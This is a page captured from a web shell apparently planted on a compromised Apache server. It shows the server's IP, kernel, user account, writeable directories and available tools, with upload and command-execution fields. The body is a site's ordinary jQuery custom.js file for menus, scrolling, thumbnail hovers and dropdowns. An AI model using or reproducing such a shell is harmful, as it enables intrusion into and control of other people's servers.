403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/emilyaddison.com/public_html/custom_assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/emilyaddison.com/public_html/custom_assets/js/custom.js
jQuery(function($) {
	/* ------------------------------------------------------------------ */
	
	$('nav').meanmenu();
	
	/* ------------------------------------------------------------------ */
	
	var amountScrolled = 300;
	$(window).scroll(function() {
	if ( $(window).scrollTop() > amountScrolled ) {
		$('a.scrollToTop').fadeIn('slow');
	} else {
		$('a.scrollToTop').fadeOut('slow');
	}
	});
	
	$("a.scrollToTop").click(function(e) {
		e.preventDefault();
		$("html, body").animate({ scrollTop: 0 }, 500);
	});
	
	/* ------------------------------------------------------------------ */
	
	/* CUSTOM THUMB HOVER */
	if( $(window).width() > 768 ){
		$('.item-video.hover .item-thumb a').each(function() {
			$(this).append('<span class="overSlide"><span class="overCol col1"></span><span class="overCol col2"></span><span class="overCol col3"></span><span class="overCol col4"></span><span class="overCol col5"></span></span>');
		});


		$('.item-video.hover .item-thumb').hover(function() {		
			$(this).find('.overSlide').stop().fadeIn('fast');
		}, function() {
			$(this).find('img').attr('src', $(this).find('img').attr('src'));
			$(this).find('.overSlide').stop().fadeOut('fast');
		});
		
		
		$('.overSlide .overCol').hover(function() {
			var $img = $(this).parent().parent().find('img.mainThumb'),
			first = $img.attr('src'),
			//imageList = $img.attr('rel').split('@');
			
			img1 = $img.attr('src1_1x'),
			img2 = $img.attr('src2_1x'),
			img3 = $img.attr('src3_1x'),
			img4 = $img.attr('src4_1x'),
			img5 = $img.attr('src5_1x');
			
			//preload(imageList);
			
			if( $(this).hasClass('col1') ){
				$(this).parent().css('background-image', 'url('+img1+')');
			}
			if( $(this).hasClass('col2') ){
				$(this).parent().css('background-image', 'url('+img2+')');
			}
			if( $(this).hasClass('col3') ){
				$(this).parent().css('background-image', 'url('+img3+')');
			}
			if( $(this).hasClass('col4') ){
				$(this).parent().css('background-image', 'url('+img4+')');
			}
			if( $(this).hasClass('col5') ){
				$(this).parent().css('background-image', 'url('+img5+')');
			}
		}, function() {
			//Hover Out
		});
	}
	
	/* ------------------------------------------------------------------ */
	
	$('.join-area input.continueTwo').click(function(e){
		e.preventDefault();
		
		$( ".step1" ).slideUp(500, function(){
			$('.join-area').css('padding-top', 40);
			$('.step2').slideDown(500);
		});
	});
	
	/* ------------------------------------------------------------------ */
	
	$('.membership label').click(function(e){
		$('.membership label').removeClass('active');
		$(this).addClass('active');
	});
	
	/* ------------------------------------------------------------------ */
	
	//RESPONSIVE A-Z DROPDOWN
	// Create the dropdown base
	$("<select class='dropdown' />").appendTo(".modelCharacter");
	  
	// Default Option
	$("<option />", {
		"selected": "selected",
		"value"   : "",
		"text"    : "-- A to Z Filtering --"
	}).appendTo(".modelCharacter select.dropdown");
	  
	// Populate dropdown with menu items
	$(".modelCharacter ul li a").each(function() {
		var el = $(this); var padding = '';
		var myel = $(this).clone().children().remove().end().text();
		for (var i = 0; i < el.parentsUntil('.modelCharacter > ul').length - 1; i++){padding += "&ndash;";}
		
		var t = el.attr("href");
		if (t === undefined || t === false || t === "#" || t.length === 0) {
			t = ""
		}
		$("<option />", {
			"value"   : el.attr("href"),
			"html"    : padding + ' ' + myel,
			disabled: !t ? true : false,
		}).appendTo(".modelCharacter select.dropdown");
	});

	$(".modelCharacter select.dropdown option").each(function(){
		var currentURL=$(location).attr('href');
		var n=currentURL.indexOf( $(this).val() );
		if ( n != -1) $(this).attr("selected","selected");
	});
	$(".modelCharacter select.dropdown").change(function() { window.location = $(this).find("option:selected").val(); });
	
	/* ------------------------------------------------------------------ */
	
	//RESPONSIVE TOPBAR DROPDOWN
	// Create the dropdown base
	$("<select class='dropdown-topbar' />").appendTo(".top_bar");
	  
	// Default Option
	$("<option />", {
		"selected": "selected",
		"value"   : "",
		"text"    : "-- More --"
	}).appendTo(".top_bar select.dropdown-topbar");
	  
	// Populate dropdown with menu items
	$(".top_bar ul.left li a").each(function() {
		var el = $(this); var padding = '';
		var myel = $(this).clone().children().remove().end().text();
		for (var i = 0; i < el.parentsUntil('.top_bar > ul').length - 1; i++){padding += "&ndash;";}
		
		var t = el.attr("href");
		if (t === undefined || t === false || t === "#" || t.length === 0) {
			t = ""
		}
		$("<option />", {
			"value"   : el.attr("href"),
			"html"    : padding + ' ' + myel,
			disabled: !t ? true : false,
		}).appendTo(".top_bar select.dropdown-topbar");
	});

	$(".top_bar select.dropdown-topbar option").each(function(){
		var currentURL=$(location).attr('href');
		var n=currentURL.indexOf( $(this).val() );
		if ( n != -1) $(this).attr("selected","selected");
	});
	$(".top_bar select.dropdown-topbar").change(function() { window.location = $(this).find("option:selected").val(); });
	
	/* ------------------------------------------------------------------ */
});

Youez - 2016 - github.com/yon3zu
LinuXploit